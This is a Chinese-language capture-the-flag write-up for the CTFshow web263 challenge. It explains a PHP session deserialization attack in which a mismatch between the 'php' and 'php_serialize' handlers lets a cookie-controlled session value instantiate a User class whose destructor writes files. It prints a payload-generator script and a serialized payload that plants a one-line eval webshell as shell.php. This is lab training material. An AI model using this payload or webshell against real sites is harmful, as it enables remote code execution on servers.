CTFshow-WEB入门-反序列化web263
前置知识:
ini_set('session.serialize_handler', 'php') 时的Session文件内容例:user|s:3:"xxx";
ini_set('session.serialize_handler', 'php_serialize') 时的Session文件内容例:a:1:{s:4:"user";s:3:"xxx";}
解题:
访问 /www.zip 拿到源码
在 inc.php 发现设置引擎为 php 说明原本配置为php_serialize,并且存在 session_start() 会读取Session文件通过 php 引擎来反序列化Session
ini_set('session.serialize_handler', 'php'); session_start();
在 inc.php 还发现存在文件写入的类,可以尝试通过写入和读取引擎的不同来反序列化此类来写入一句话木马
class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } }
在 index.php 发现Session文件内容可通过 Cookie 控制,并且使用原本配置php_serialize
$_SESSION['limit']=base64_decode($_COOKIE['limit']);
使用PHP脚本生成Payload:
|O:4:"User":2:{s:8:"username";s:9:"shell.php";s:8:"password";s:25:"<?php @eval($_POST[1]);?>";}
<?php class User{ public $username = 'shell.php'; public $password = '<?php @eval($_POST[1]);?>'; } echo base64_encode('|'.serialize(new User()));
第一次访问 index.php 得到PHPSESSID,保持 PHPSESSID 修改 limit 为 Payload 再访问,这样Session文件内容为:
a:1:{s:5:"limit";s:95:"|O:4:"User":2:{s:8:"username";s:9:"shell.php";s:8:"password";s:25:"<?php @eval($_POST[1]);?>";}";}
再访问 /inc/inc.php 会将 | 后面的内容反序列化来写入一句话木马,但是不知道为什么是写到 ./ 下